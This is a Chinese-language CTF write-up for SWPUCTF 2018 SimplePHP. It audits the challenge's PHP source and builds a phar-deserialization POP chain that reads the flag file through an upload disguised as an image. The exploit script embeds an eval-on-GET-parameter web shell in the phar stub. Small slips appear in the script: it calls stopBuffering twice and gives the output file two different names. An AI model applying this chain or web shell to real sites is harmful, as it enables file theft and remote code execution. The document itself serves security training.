[SWPUCTF 2018]SimplePHP1

打开环境

有查看文件跟上传文件，查看文件里面显示没有文件url貌似可以文件读取

上传文件里面可以上传文件。

先看一下可不可以文件读取

/etc/passwd不能读取，源码提示flag在f1ag.php

看看能不能读取当前的文件，

先把代码摘下来

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

funcion.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

class.php

 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

审计一下

由于设置了ini_set('open_basedir','/var/www/html/');

所以只能读取/var/www/html目录

看一下function.php

只能上传后缀为gif.jpeg,jpg,png

好像绕不过去

看一下class.php

有file_get_contents()是不是可以通过构造pop链，实现读取f1ag.php呢

这里暗示用phar反序列化

正好file.ph里面有个file_exists()函数可以出发phar反序列化

分析一下链

file_get函数由get触发，get由__get触发，当指向类中不存在的变量时候可以出发__get魔法函数

看一下参数,$value由params[$key]得到，$key由出发__get函数时传入，可以控制params和key使得$value=f1ag.php

看一下如何出发__get

在Show里面

如果令str['str']=new Test()就会出发Test里面的__get

然后看如何出发_toString

C1e4r里面的echo正好可以出发toString

脚本如下

<?php
class C1e4r{
	public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}

class Test
{
    public $file;
    public $params;
}

$a = new Test();
$a->params['source'] ='/var/www/html/f1ag.php';

$b = new Show();
$b->str['str']=$a;

$c = new C1e4r();
$c->str = $b;


@unlink("phar.phar");
$phar = new Phar('phar.phar'); //后缀名必须为phar
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php echo 1;eval($_GET["Smi1e"]);?>'.'<?php __HALT_COMPILER();?>');
$phar -> setMetadata($c); //将自定义的meta-data存入manifest
$phar -> addFromString('test.txt','test');//添加要压缩的文件
$phar -> stopBuffering();   //签名自动计算

生成的exp.phar改成.jpg结尾之后上传

然后访问file=phar://upload/文件名即可拿到flag

md,我这里phar.readonly明明改成Off还是生成不了phar文件，无语死了。